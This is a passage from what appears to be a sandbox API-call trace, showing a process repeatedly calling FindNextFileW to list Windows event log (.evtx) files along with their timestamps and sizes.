ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0053.618] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0053.619] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0053.620] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, 